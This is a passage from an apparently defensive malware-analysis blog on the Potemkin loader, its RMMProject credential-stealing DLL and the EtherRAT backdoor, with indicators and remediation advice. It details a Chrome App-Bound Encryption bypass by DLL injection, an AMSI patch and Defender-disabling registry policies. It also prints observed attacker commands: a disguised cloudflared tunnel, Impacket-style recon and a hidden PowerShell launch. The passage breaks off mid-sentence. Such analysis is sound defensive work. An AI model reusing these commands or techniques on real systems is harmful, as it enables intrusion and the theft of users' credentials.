- Fires when an exception is caught but the type is unrecognized - no message\n\nis captured.\n\nThe DGA (Domain Generation Algorithm) seed 151678 is the only seed value Potemkin uses. A DGA generates a\n\nlist of domain names algorithmically rather than hardcoding them - the operator only needs to register one of the\n\ngenerated domains before deployment, and the malware will find it by trying each candidate in sequence. Because\n\nthe seed is fixed, there is no per-host randomization and no time-based reseeding. Two independent infections\n\nrunning the same build will probe the exact same sequence of domains, in the exact same order, on every iteration.\n\nThis makes the candidate space precomputable and finite (10,000 domains).\n\nThe hot-reload branch (signal == “updatedll”) skips the inner-loop sleep. The operator can push live module\n\nupdates that complete within one network round-trip without waiting for the next polling cycle. The nominal sleep\n\ninterval is 60 seconds, but as the recovered debug log (we will talk about this later in the blog) shows, the\n\neffective poll cadence in the wild is closer to 5m27s once C2 latency is factored in. We will return to how the\n\nsignal value flows out of the loaded DLL when we cover the [DLL] subsystem.\n\nComponent 2: [DNS]\n\nPotemkin doesn't have a hardcoded C2 address. Instead, every time it needs to talk to its operator, it generates a\n\nlist of candidate domain names from a built-in dictionary and tries each one until one responds with an expected\n\nreply. The generator is deterministic, given the same starting seed (151678), it produces the same domains in the\n\nsame order on every run. This pattern is known as a Domain Generation Algorithm, or DGA. The advantage for\n\nthe operator is that they don't have to hardcode a domain that defenders could block in advance, they only need to\n\nregister one of the candidate domains shortly before deploying the malware. The advantage for us defenders is the\n\nopposite: because the algorithm is deterministic and recoverable, every possible candidate domain can be\n\nprecomputed and blocklisted. See the Indicators of Compromise section for a complete list of generated domains\n\nfor this payload.\n\nThe payload generates 10,000 domains. The agent walks all of them in order, sending a small probe to each, and\n\nstops at the first one that returns a valid response. If none of the 10,000 respond, it sleeps for one minute and tries\n\nthe entire list again from the top.\n\nPotemkin produces three log messages:\n\n[DNS][\u003cn\u003e] trying \u003cdomain\u003e:443 - about to probe candidate number n (zero-indexed)\n\n[DNS] FOUND domain[\u003cn\u003e]: \u003cdomain\u003e - got a valid response from candidate n; this is the C2 for this\n\nsession\n\n[DNS] exhausted all 10000 domains, none responded - no candidate replied; sleep one minute and retry\n\nFor each candidate domain, Potemkin sends an HTTP GET request to a fixed URL path (/api/client_hello) on port\n\n443, then checks the response body for a particular keyword (“ok”). Both the URL path and the keyword live\n\nPage 4 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nencrypted inside the binary. The live-check is: send GET /api/client_hello to C2 on port 443, and if the response\n\nbody contains the substring “ok” (with quotes around it), consider this candidate the live C2 and stop searching.\n\nPotemkin's HTTP code is written using cpp-httplib, an open-source C++ HTTP library, so every C2 request carries\n\nUser-Agent: cpp-httplib/0.12.1. In the captured infection, the response body was {\"ok\":true}, which contains the\n\nbyte sequence \"ok\": and satisfies the check.\n\nFigure 3: Wireshark capture of a Potemkin DGA probe to C2 anus-staylard[.]xyz\n\nThe DGA generator\n\nPotemkin produces domains by picking three words from a built-in 1,000-word dictionary, optionally separating\n\nthem with dashes, and appending .xyz. Example outputs from the captured infection: pestrear-lamp[.]xyz,\n\nuglyshop-mare[.]xyz, rule-bead-dust[.]xyz, anus-staylard[.]xyz, fair-bath-fond[.]xyz.\n\nThe \"randomness\" that picks which words to use and where to put dashes comes from a small algorithm called\n\nXorShift32, a simple deterministic routine that turns a 32-bit number into a long sequence of numbers that look\n\nrandom. Each time Potemkin generates a candidate domain it calls XorShift32 five times: three of the results pick\n\nword indices into the 1,000-word dictionary, the other two decide whether to insert dashes between adjacent\n\nwords.\n\nThe word salad bar\n\nThe dictionary the generator pulls from contains 1,000 English words, broken down by length as follows:\n\n54 four-letter words\n\n920 five-letter words\n\n25 six-letter words\n\n1 seven-letter word\n\nEvery word is stored encrypted in .data and decrypted on first use. The dictionary is dominated by five-letter\n\nwords because most common short English nouns and verbs are that length; the single seven-letter word and the\n\nsmall set of four-letter words are outliers that produce noticeably shorter or longer domains than the typical\n\noutput. The Python implementation of the DGA algorithm:\n\nLoading Gist...\n\nPage 5 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 4: XorShift32 inlined into the per-word loop\n\nComponent 3: Custom byte cipher\n\nPotemkin protects two categories of strings with a custom byte cipher: the constants needed for C2\n\ncommunication, and the entire DGA dictionary. Everything else in the binary - HTTP framing, JSON keys, log\n\nstrings, and persistence path - lives in plaintext.\n\nThe decrypted strings:\n\n/api/client_hello - DGA liveness probe path\n\nPage 6 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\n: - Host header host:port separator\n\nok - Probe response check token\n\n.xyz - DGA top-level domain\n\ntest_agent - Hardcoded loader_id value\n\n1,000 dictionary words - DGA word list (54 four-letter, 920 five-letter, 25 six-letter, 1 seven-letter)\n\nThe cipher is a custom four-round byte-level construction. The binary contains eight near-identical decoder\n\nfunctions, one for each plaintext length the payload needed to encrypt (2, 3, 4, 5, 6, 7, 11, and 18 characters). Each\n\nencrypted string is stored alongside its key material in a single struct in .data. The figure below shows this for the\n\nstring test_agent.\n\nEach round block is 12 bytes and holds three values:\n\nA starting key byte - the initial value used to mix with the data (highlighted in the figure: 0x05 for round 4,\n\n0x04 for round 3)\n\nA key_op - a number (1-4) that tells the cipher how to mutate the key after each byte (increment, bitflip,\n\nbit-shuffle, or rotate)\n\nA data_op - a number (1-4) that tells the cipher how to transform each data byte using the current key\n\n(subtract, XOR, rotate, or bit-shuffle)\n\nWhen decrypting, the cipher loops through the round blocks and for each round walks every encrypted byte,\n\napplying data_op to mix the byte with the key and then key_op to evolve the key before moving to the next byte.\n\nBecause the key mutates after every byte, each byte gets a different effective key value even though only one\n\nstarting key byte is stored per round.\n\nNot every string uses all four rounds. In the test_agent struct, rounds 1 and 2 are all zeros, meaning those rounds\n\ndo nothing. Only rounds 3 and 4 are active. Other strings in the binary fill all four round slots with non-zero\n\nvalues.\n\nDifferent strings have different data_op, key_op, and starting key byte values baked into their structs at compile\n\ntime, so each string has its own unique decryption recipe despite all of them running through the same cipher\n\ncode.\n\nPage 7 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 5: Annotated IDA view of the test_agent cipher struct, showing the encrypted data, round blocks with\n\nkey_byte/key_op/data_op fields, and skipped rounds\n\nDecryption algorithm:\n\nLoading Gist...\n\nThe choice of which strings to encrypt is selective and inconsistent. The malware author encrypted the probe path\n\n(/api/client_hello) but left the tasking endpoints (/tasks/get_worker, /tasks/collect) and the DLL-fetch endpoint\n\n(/avast_update) in plaintext. They encrypted test_agent but left loader_id (the field name carrying it) in plaintext.\n\nComponent 4: [Chan]\n\nComponent 4 produces the artifact we can find on a victim host: %LOCALAPPDATA%\\hyper-v.ver, a file\n\ncontaining a single UUID string, a C2 identifier for that compromised host. First, the infected machine sends\n\nPOST /api/client/new with {\"os_info\":\"Windows\"} to the C2. The server responds with a UUID, for example\n\n{\"ok\":\"70cdb427-ac79-48f5-bd2d-38f26b08e5ad\"}. The agent extracts that UUID and writes it verbatim to\n\n%LOCALAPPDATA%\\hyper-v.ver.\n\nThe agent reads the UUID from hyper-v.ver and sends POST /api/client/verify with it. If the C2 responds with\n\n“ok”, the UUID is reused. If verification fails, the agent falls back to the registration path and gets a new one.\n\nComponent 4 contains the following log strings:\n\n[Chan] POST /api/client/new - about to register\n\n[Chan] new status= - registration response received\n\n[Chan] new: no response, err= - registration request failed\n\nPage 8 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\n[Chan] new: token field empty in response - C2 responded but didn't include a UUID\n\n[Chan] verify status= - verification response received\n\n[Chan] verify no response, err= - verification request failed\n\n[Chan] verify token= - UUID successfully verified, reusing it\n\n[Chan] exception: / [Chan] unknown exception - error handlers\n\nAfter identity is established, the agent posts /api/client/init:\n\nLoading Gist...\n\nComponent 5: [Sync] - task polling\n\nThe [Sync] component runs once per polling cycle. It is a two-stage transaction: fetch a task assignment from the\n\nC2, then send back an acknowledgment. The acknowledgement payload is always the same:\n\n{\"status\":\"true\",\"uuid\":\"...\",\"type\":\"1015\",\"task_result\":\"b2s=\"} - regardless of what task was received. The\n\ntask_result field is just base64-encoded “ok” (b2s=).\n\nEleven distinct strings are initialized into globals inside the [Sync] subsystem before the first request. Unlike the\n\noperational strings used by [DNS] (which are encrypted in .data and decrypted on demand), all 11 of these live in\n\nplaintext in .rdata and are referenced directly by their addresses. They cover every JSON key, every JSON value,\n\nevery endpoint, and the content type used across both stages of the polling transaction:\n\nLoading Gist...\n\nPage 9 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 6: Hardcoded strings in the [Sync] component\n\nWorker fetch\n\nThe first request checks whether the C2 has a task ready:\n\nLoading Gist...\n\nuuid is the persisted client identity (found in hyper-v.ver), and loader_id is the string test_agent, recovered by\n\ndecrypting the encrypted struct we covered in the decryption section. Every /tasks/get_worker request from this\n\nbuild carries the same \"loader_id\":\"test_agent\" literal.\n\nResponse check\n\nThe response body is checked for two substrings: “ok” and “1015”. Both must be present for the agent to consider\n\na task ready. This is where the value 1015 becomes meaningful—it's the C2's way of signaling “there is a DLL\n\ntask ready for this client”.\n\nPage 10 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nTask acknowledgment\n\nIf both substrings match, the agent immediately posts the acknowledgment:\n\nLoading Gist...\n\nComponent 6: [DLL] - module fetch\n\nThe [DLL] subsystem fetches a follow-on DLL from the C2 and loads it entirely in memory - parsing the PE\n\nheaders, mapping sections, fixing up addresses, and resolving imports without ever calling LoadLibrary. It then\n\ncalls an export named TLSDataStart.\n\nFigure 7: PE section mapping, relocation patching, import resolution, and DllMain invocation without\n\nLoadLibrary\n\nSome log strings give us the insights here:\n\n[DLL] GET /avast_update - about to fetch the DLL\n\n[DLL] status= - HTTP response code from the fetch\n\n[DLL] decoded size= - size of the DLL after base64 decoding\n\n[DLL] base= - memory address where the DLL was mapped\n\n[DLL] entry_point= - whether the expected export was found in the DLL\n\n[DLL] hbot= - heartbeat counter value at the time of execution\n\n[DLL] entry returned, unloading module - the DLL's export function returned; about to unmap\n\n[DLL] no response, err= - the fetch request failed entirely\n\nThe HTTP request:\n\nPage 11 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nLoading Gist...\n\nTLSDataStart: is sent with an empty value. The string TLSDataStart is the export name the reflective loader looks\n\nfor inside the returned DLL. Any DLL pushed through /avast_update must export a function named TLSDataStart.\n\nIf the export is not found, the loader unmaps the module and returns failure. The agent loop logs [Agent]\n\nLoadAndRunDLL=0 and continues to the next iteration.\n\nWhen the export function returns, the loader immediately unmaps the module. The mapped memory region is\n\nfreed. The loaded module had no opportunity to persist code or state between iterations. The agent then checks\n\nwhether one of the argument buffers now contains the literal string updatedll. If it does, the agent logs:\n\n[Agent] DLL returned (updatedll), reloading…\n\nThen immediately re-enters the DLL fetch path without sleeping. This signals the C2 to send an updated DLL,\n\nwhich gets fetched and loaded in the same polling cycle. If the buffer doesn't contain updatedll, the agent sleeps\n\nfor 60 seconds before polling again.\n\nMost modular loaders ship with a command dispatcher - a numeric or string opcode table where the operator can\n\nchoose between download-and-execute, shell, file-listing, screenshot, kill, sleep, and so on. Potemkin has none of\n\nthat, and the entire command vocabulary is pretty much one numeric code, 1015.\n\nThere is no error reporting channel back to the operator. If the DLL fetch fails, the agent logs the failure locally in\n\ndll_debug.log under %TEMP% but never tells the C2:\n\nLoading Gist...\n\nRMMProject\n\nWe recovered the DLL that the C2 served through /avast_update. The file is a 4.4 MB x64 DLL (avast_update.bin,\n\nSHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce) with the expected\n\nTLSDataStart export.\n\nHow the RMMProject receives its configuration\n\nWhen Potemkin calls the TLSDataStart export, it passes two string arguments. The first is the C2 connection info.\n\nThe second is a JSON task list, a configuration object from the C2 that tells RMMProject what to do (which\n\nbrowsers to target, what data to collect, and where to send it). RMMProject parses this JSON, executes each task,\n\nand POSTs the results back to the C2 before returning control to Potemkin.\n\nEmbedded DGA - same algorithm, same dictionary\n\nRMMProject also has its own embedded copy of the DGA. The binary contains a domain resolver function that\n\nlogs [DNS] FOUND domain[N] on success and [DNS] exhausted all N domains, none responded on failure - the\n\nsame log format as the loader. The generator uses the same XorShift32 PRNG with the same constants (\u003c\u003c13,\n\n\u003e\u003e17, \u003c\u003c5), the same mod 1,000 word lookup from a 1,000-word encrypted dictionary (confirmed by exactly\n\n1,000 TLS-guarded initialization blocks in the word lookup function), the same three-word concatenation with\n\nPage 12 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\noptional hyphens, the same 10,000-domain search limit, and the same default seed 0xDEADBEEF. The TLD is\n\nstored encrypted in a 4-byte global, consistent with .xyz. The dictionary is pretty much identical to Potemkin's.\n\nArchitecture: Lua-scriptable native modules\n\nRMMProject embeds a full LuaJIT scripting engine (identified by the presence of LuaJIT-specific libraries ffi and\n\njit in the initialization code, along with hundreds of Lua VM error messages).\n\nOn startup, RMMProject initializes the Lua VM, then registers a set of native C++ modules into the scripting\n\nenvironment. The C2 sends Lua scripts as part of the JSON task list, and RMMProject executes them. Each script\n\ncan call any combination of the registered native modules and results are collected and POSTed back to the C2.\n\nThe following native modules are exposed to Lua (identified from C++ RTTI class names in the binary):\n\nHttp—HTTP client (GET/POST) built on cpp-httplib, for exfiltrating data or fetching additional payloads\n\nJson—JSON construction and parsing via nlohmann::json\n\nSQLiteDatabase / SQLiteStatement / SQLiteColumn—full SQLite 3.36.0 query interface, used to read\n\nbrowser credential databases\n\nWinReg—Windows registry read/write (HKEY_CURRENT_USER, HKEY_USERS, key creation, value\n\nenumeration, deletion)\n\nASN1Decoder / ASN1Integer / ASN1OID—ASN.1 parsing for decoding NSS certificate and key storage\n\nformats\n\nDirectoryStatement / RecursiveDirectoryStatement—filesystem enumeration (file listing, recursive\n\ndirectory walk)\n\nFull task command table\n\nRMMProject’s task dispatcher implements a switch statement with 15 task types, far more than Potemkin's single\n\n1015 code. Each task type is a numeric code sent by the C2 inside the JSON task list:\n\nLoading Gist...\n\nBrowser credential and cookie theft\n\nThe most noticeable capability in the DLL targets browser credentials and cookies across Chrome, Firefox, and\n\nEdge. Three separate task codes handle different aspects of browser data theft: 1001 for saved passwords, 1002 for\n\ncookies, 1003 for stored credentials, and 1013 for autofill data. All of them share the same underlying browser-\n\naccess infrastructure.\n\nThe cookie-stealing path (task 1002) runs through a single 10 KB orchestrator function that processes all three\n\nbrowsers in sequence and logs its progress with kCookies: prefixed debug messages:\n\nLoading Gist...\n\nThere are also error-path variants (kCookies: chrome ex:, kCookies: firefox ex:, kCookies: edge ex:, kCookies:\n\nexception:) that log failures per browser. The log output reveals the exfiltration pipeline: the function parses\n\nPage 13 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\ncookies from Chrome, logs the count, parses Firefox cookies, logs that count, parses Edge cookies, logs that\n\ncount, then reports the total, serializes everything to JSON, compresses the JSON with zlib, and reports the\n\ncompressed size. The final compressed blob is the task result that gets POSTed back to the C2.\n\nFor Chrome and Edge, the DLL decrypts cookie and credential data through a multi-step process that handles both\n\nthe legacy and modern Chromium encryption schemes. The DLL first reads the browser's Local State file, a JSON\n\nconfiguration file that Chromium-based browsers store in the user's profile directory. Inside this file, the\n\nencrypted_key field contains the browser's master encryption key, itself encrypted with DPAPI (Windows' Data\n\nProtection API). The DLL calls CryptUnprotectData (imported from CRYPT32.dll) to unwrap this key.\n\nStarting with Chrome version 127, Google introduced a new protection layer called App-Bound Encryption (ABE)\n\nthat wraps the DPAPI-encrypted key with an additional layer of encryption tied\n\nto the Chrome application identity. A process that isn't Chrome can't simply call the decryption API - the key is\n\nbound to Chrome's own code-signing identity.\n\nRMMProject bypasses this with an embedded helper DLL injection. A 4,608-byte helper DLL is stored inside the\n\nmain DLL at a fixed offset, XOR-encoded with the key 0x5A. At runtime, the DLL decodes this blob and writes it\n\nto a temp file at %TEMP%\\\u003crandom\u003e.tmp.\n\nThe DLL then locates the browser executable on disk. It uses ExpandEnvironmentStringsW to resolve both the\n\nsystem-wide and per-user installation paths and tries multiple candidate locations until it finds chrome.exe or\n\nmsedge.exe. It then spawns the browser with CreateProcessW using the flags CREATE_NO_WINDOW |\n\nDETACHED_PROCESS | DEBUG_ONLY_THIS_PROCESS, and the browser runs hidden and in a debug state.\n\nImmediately after, DebugActiveProcessStop releases the debug state while the DLL retains the process handle.\n\nWith that handle, the DLL resolves LoadLibraryW from kernel32.dll via GetModuleHandleA and\n\nGetProcAddress, allocates memory inside the browser process (VirtualAllocEx), writes the path to the temp DLL\n\ninto it (WriteProcessMemory), and creates a remote thread (CreateRemoteThread) that calls LoadLibraryW with\n\nthat path - the classic DLL injection technique. The helper DLL loads inside Chrome's process space, inheriting\n\nChrome's application identity. It reads the encrypted cookie key from a shared memory section (created earlier via\n\nCreateFileMappingA), decrypts it using the ABE APIs that are now accessible because the code is running as\n\nChrome, and writes the decrypted key back through a named pipe. The main DLL reads the result from the pipe\n\nand immediately terminates the browser process with TerminateProcess.\n\nThe helper DLL itself (SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145) is a\n\nminimal x64 PE. It contains the string ABEPayloadArgs—the name of the shared memory section where the main\n\nDLL passes the encrypted key data. Its import table reveals the decryption mechanism: it imports\n\nOpenFileMappingA and MapViewOfFile from KERNEL32 to read from shared memory, CoInitializeEx and\n\nCoCreateInstance from ole32.dll to instantiate Chrome's IElevator COM interface (the system-level COM object\n\nChrome registers for App-Bound Encryption operations), and CreateFileA / WriteFile to send the decrypted result\n\nback through the named pipe.\n\nPage 14 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 8: The ABE helper DLL's core logic: instantiating Chrome's IElevator COM interface via\n\nCoCreateInstance, calling CoSetProxyBlanket to set authentication, then opening the named pipe (CreateFileA) to\n\nread the encrypted data and write the decrypted result back\n\nOnce the master key is recovered, the DLL opens the browser's Cookies and Login Data files, both of which are\n\nSQLite databases, using the embedded SQLite 3.36.0 engine. It queries these databases, decrypts each cookie\n\nvalue or credential using AES-GCM with the recovered master key, and collects the results.\n\nFor Firefox, the decryption path is entirely different because Firefox uses Mozilla's NSS (Network Security\n\nServices) cryptographic library rather than DPAPI. The DLL queries Firefox's key database with two specific SQL\n\nstatements: SELECT item1 FROM metadata WHERE id = 'password' to retrieve the master password verification\n\nhash, and SELECT a11 FROM nssPrivate to extract the encrypted private keys. It then parses the NSS key format\n\nusing ASN.1 decoding and decrypts the actual credentials using PBKDF2 key derivation followed by 3DES-CBC\n\ndecryption. Both PBKDF2 and 3DES are implemented through the statically linked Crypto++ library.\n\nTask 1022 provides the ability to kill browser processes entirely, likely used as a preparatory step before reading\n\nthe browser's SQLite databases, since browsers hold exclusive locks on their own database files while running.\n\nRTSC: Remote terminal and screen control\n\nRMMProject contains a remote desktop module identified by [RTSC] log prefixes and the RTSCServer class\n\nvisible in the binary's RTTI data. Task code 1006 starts a session; task code 1007 stops it.\n\nPage 15 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nWhen the operator starts an RTSC session, the DLL creates a hidden Windows desktop using CreateDesktopW.\n\nThis hidden desktop is invisible to the user, meaning that anything rendered on it doesn't appear on the user's\n\nscreen. The DLL then launches a Chrome or Edge browser instance on this hidden desktop (both StartChrome and\n\nStartEdge entry points are visible in the RTTI). This gives the operator a live browser session they can interact\n\nwith while the victim sees nothing.\n\nThe RTSC module establishes two separate socket connections back to the C2. The first is a frame socket that\n\nstreams screen captures of the hidden desktop, the DLL captures frames using GDI+ functions\n\n(CreateCompatibleBitmap, BitBlt for screen capture, GdipSaveImageToStream for encoding) and sends them over\n\nthis socket. The second is an input socket that receives mouse movements, clicks, keystrokes, and clipboard\n\noperations from the operator and replays them on the hidden desktop. The input handler alone is 14 KB of code,\n\ndispatching each input event type to the appropriate Windows API call.\n\nThe input socket uses a session-based protocol, it performs a hello/session_id handshake before accepting\n\ncommands, with each step logged via [RTSC] OpenInputSocket: messages. This is a hidden-desktop browser\n\nsession hijacking capability, commonly used for real-time banking fraud where the attacker needs to interact with\n\nan authenticated browser session.\n\nFigure 9: RTSC input socket handshake: sending the session ID and reporting the SISR (Screen Input Stream\n\nReceiver) buffer size back to the C2\n\nTask 1008 provides a simpler screenshot capability outside of the RTSC module - a single screen capture of the\n\nuser's actual desktop, useful for reconnaissance before deciding whether to start a full RTSC session.\n\nProcess injection and module management\n\nTask 1014 executes a file or process on the victim, with a parameter that specifies 32-bit or 64-bit execution. Task\n\n1016 injects into a running process by name - the task configuration provides a name:data string, and\n\nPage 16 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nRMMProject looks up the target process, injects the payload, and reports the result. Task 1017 cleans up after\n\ninjection by terminating the injected threads.\n\nThe import table includes OpenProcessToken, AdjustTokenPrivileges, DuplicateTokenEx,\n\nImpersonateLoggedOnUser, and LogonUserW. Tracing the call chains shows these are used by the cookie and\n\ncredential theft tasks (1002, 1003) and the RTSC module (1006), not by the injection tasks. Their purpose is user\n\nimpersonation: when RMMProject runs as SYSTEM or under a service account, it duplicates the logged-on user's\n\ntoken and impersonates them to access browser profile directories that belong to that user. The RTSC module uses\n\nthe same mechanism to launch explorer on the hidden desktop under the correct user context.\n\nTask 1026 downloads and loads an additional module at runtime. The task configuration provides a base64-\n\nencoded PE payload. RMMProject decodes it, then maps it entirely in memory using its own PE loader - the same\n\nreflective loading technique Potemkin uses for RMMProject itself. The loader parses PE headers, allocates\n\nmemory with VirtualAlloc, maps each section, applies relocations, resolves imports via LoadLibraryA /\n\nGetProcAddress, registers exception handlers via RtlAddFunctionTable, and calls the module's DllMain entry\n\npoint. Task 1027 unloads previously loaded modules by calling each module's DllMain with\n\nDLL_PROCESS_DETACH and freeing the mapped memory.\n\nBeyond the beachhead: hands-on-keyboard intrusion and lateral movement\n\nFigure 10: EtherRAT detections in the Huntress Portal\n\nFive hours after the execution of the Potemkin loader, the threat actors dropped a second stage loader. The loader\n\nruns from a randomized directory under AppData: C:\\Users\\username\\AppData\\Local\\KafhCqGLhOS4\\. It\n\ncontains three files. node.exe is a clean, signed Node.js runtime, RlLF3rizah.ini is the loader JavaScript,\n\nMseKOytIWeVrP85.xml is the encrypted payload.\n\nPage 17 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nPersistence\n\nPersistence lives in the per-user Run key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, under a\n\nbenign-sounding value named WindowsHost. Its content is conhost --headless “\u003cnode.exe\u003e”“\u003cRlLF3rizah.ini\u003e”.\n\nAt each logon Windows runs that command. conhost.exe, the legitimate Console Window Host, is invoked with --\n\nheadless, which suppresses the console window so the Node process runs with no visible window.\n\nThe loader doesn't rely on a dropper to stay persistent- it rewrites its own Run key. The registry path and\n\ncommand fragment are base64-encoded in the script: one string decodes to the Run key path, another to conhost --\n\nheadless, and a third to reg. The loader writes the WindowsHost value via reg.exe, spawned with\n\nwindowsHide:true so no console window flashes on screen and stdio:”ignore” so the command's output is\n\ndiscarded. The write happens with no visible indication to the user. The /f flag forces the overwrite without a\n\nconfirmation prompt.\n\nThe reg add runs once, near the top of the script, when the loader process starts, not on a loop. So the persistence\n\nvalue is written once per loader process, and in practice that means once per logon, since the Run key is what\n\nlaunches the loader.\n\nFor remediation, this means clearing the Run key alone won't hold. The restart loop keeps the loader process and\n\nits payload resident, and the next logon relaunches the loader and rewrites the key. Cleanup requires killing the\n\nNode processes and deleting all three on-disk artifacts, then removing the Run key.\n\nThe dc() function reads MseKOytIWeVrP85.xml and decrypts it into JavaScript with a custom byte cipher. The\n\ncipher uses three constants embedded in the loader: a 64-byte subtraction key (k), a 16-byte XOR key (n), and a\n\n256-byte S-box (si). Each ciphertext byte passes through a chained subtraction of the previous byte, an XOR\n\nagainst n and the byte's own index, a substitution through the S-box, and a final subtraction against k.\n\nPage 18 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 11: The dc() payload-decryption function and the embedded si substitution table\n\nDecrypting MseKOytIWeVrP85.xml with the cipher above yields the payload: EtherRAT, a Node.js backdoor. On\n\nstartup, EtherRAT derives a hidden install directory under %LOCALAPPDATA%. It takes an MD5 of\n\nCOMPUTERNAME + USERNAME and uses bytes of that hash to pick folder names from two fixed lists\n\n(Microsoft, Windows, Programs, Packages, Google and Services, Components, Assemblies, Extensions,\n\nModules). The path is deterministic per host but looks different on every machine. Configuration is stored there as\n\na base64-encoded JSON blob.\n\nThe RAT also assigns itself a persistent ID. It checks its saved config, then a hidden file named .node_bot_id in\n\n%APPDATA%, then any 11-character dot-file (e.g. .a1b2c3d4e5) in that directory, and only generates a fresh\n\nPage 19 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nUUID if none of those exist. The ID survives restarts, so the operator tracks the same host across reboots. A build\n\nidentifier, ab653feb-9e78-4578-87ed-2e30329fe858, is hardcoded and sent with C2 traffic. Logging is disabled by\n\ndefault; when enabled it writes to %APPDATA%\\svchost.log.\n\nAs researchers have previously documented, EtherRAT does not hardcode a C2 domain. Instead it uses\n\nEtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain. The fallback in the\n\ncode is only hxxp://localhost:3000, a placeholder; the real address comes from a smart contract. The RAT holds a\n\ncontract address, a second address used as the storage key when building the call data, and a 4-byte function\n\nselector. It issues eth_call requests across seven public Ethereum RPC providers: Tenderly, Flashbots, MEV\n\nBlocker, BlastAPI, PublicNode, dRPC, and Merkle. Then, it decodes the ABI-encoded string the contract returns\n\nand checks that it looks like an http(s) or ws(s) URL.\n\nExample of resolving the live C2 from the EtherHiding contract:\n\nLoading Gist...\n\nThe C2 address is held in the contract and returned on each lookup. To move the botnet, the operator sends a\n\nsingle cheap transaction that updates the stored value and every infected host picks up the change on its next poll.\n\nThe contract used by this sample is 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831, with storage key\n\n0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893. At the time of analysis the contract returned the live C2\n\nhxxps://resumeacceptable[.]com. Once it has a C2 URL, EtherRAT enters an endless polling loop. Each request\n\ngoes to a freshly randomized URL of the form /api/\u003crandom\u003e/\u003cbotID\u003e/\u003crandom\u003e.\u003cext\u003e, where the extension is\n\nchosen from png, jpg, gif, css, ico, or webp and a random query parameter is appended from id, token, key, b, q, s,\n\nor v, so each poll looks like a request for a static image or stylesheet.\n\nPage 20 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 12: Snippet of decrypted EtherRAT\n\nCloudflare tunnel (Patient 0)\n\nShortly after EtherRAT was established, the threat actor used it to deliver a Cloudflare tunnel. The Cloudflare\n\ncloudflared client, renamed to svchost.exe to pose as a Windows process, opens a Cloudflare quick tunnel that\n\nexposes a local service on 127.0.0.1:31024 to a public Cloudflare hostname, giving the attacker internet-reachable\n\naccess to that internal service without opening any firewall port. It writes operational logs to\n\ncloudflared_tunnel.log in the same Temp folder, which record the assigned public tunnel hostname and connection\n\nactivity:\n\nC:\\Users\\username\\AppData\\Local\\Temp\\cloudflared\\svchost.exe tunnel --url http://127.0.0.1:31024 --protocol\n\nhttp2 --no-autoupdate --edge-ip-version auto --loglevel info --logfile\n\nC:\\Users\\usernam\\AppData\\Local\\Temp\\cloudflared_tunnel.log\n\nPage 21 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nFigure 13: Log output (cloudflared_tunnel.log) from the renamed cloudflared client showing failed attempts to\n\nreach Cloudflare's edge, repeated DialContext errors connecting to Cloudflare edge IPs (198.41.200[.]63,\n\n198.41.192[.]77) on port 7844\n\nThe part where a human shows up\n\nIn the early hours of the attack, we observed WMIExec recon against one of the endpoints, which Defender\n\nflagged and blocked. The command cmd.exe /Q /c whoami /groups | findstr /i admin 1\u003e \\Windows\\Temp\\DqNtxC\n\n2\u003e\u00261 carries the redirect signature commonly associated with Impacket, where output is written to\n\n\\Windows\\Temp\\\u003c8 chars\u003e. Alongside this, the attacker leveraged WMI and SMB for remote command execution,\n\nwhich strongly suggested the Administrator credentials had already been compromised earlier in the intrusion.\n\nThis turned out to be the first visible move in what we'd eventually track across the 11 unique hosts, a footprint\n\nthat became progressively clearer as the customer onboarded additional endpoints to the Huntress agent\n\nthroughout the engagement. Each new enrollment effectively turned the lights on in another room of the house,\n\nand what we saw confirmed that the operator had been working through the network for some time before we had\n\ntelemetry to watch them with.\n\nOn one of the affected servers, the activity shifted into hands-on-keyboard work over WinRM, originating from an\n\ninternal workstation already under the attacker's control. WinRM Event ID 91 logged a cmd shell created as\n\nDOMAIN\\Administrator on the target host, confirming the attacker had connected interactively with the\n\ncompromised credentials. Shortly after, the first malicious PowerShell hit disk in the form of powershell -nop -ep\n\nbypass -w hidden -f C:\\Windows\\Temp\\D0OK1nWwId9W.ps1. Based on the follow-up activity, we assess the\n\nPowerShell content to be the following:\n\nLoading Gist...\n\nWhat followed was one of the more entertaining stretches of the case, where the attacker's all-in-one opening\n\nmove ran straight into Windows Defender. The script was designed to patch AMSI in the current process by\n\nwalking [Ref].Assembly to find the AmsiUtils class, locate the amsiContext field, and overwrite it with\n\n0x80070057 (E_INVALIDARG) so any subsequent script content would bypass AMSI scanning; write Defender\n\nregistry policies (DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection,\n\nDisableBehaviorMonitoring) to neuter the engine through policy; and then pull the Chisel binary 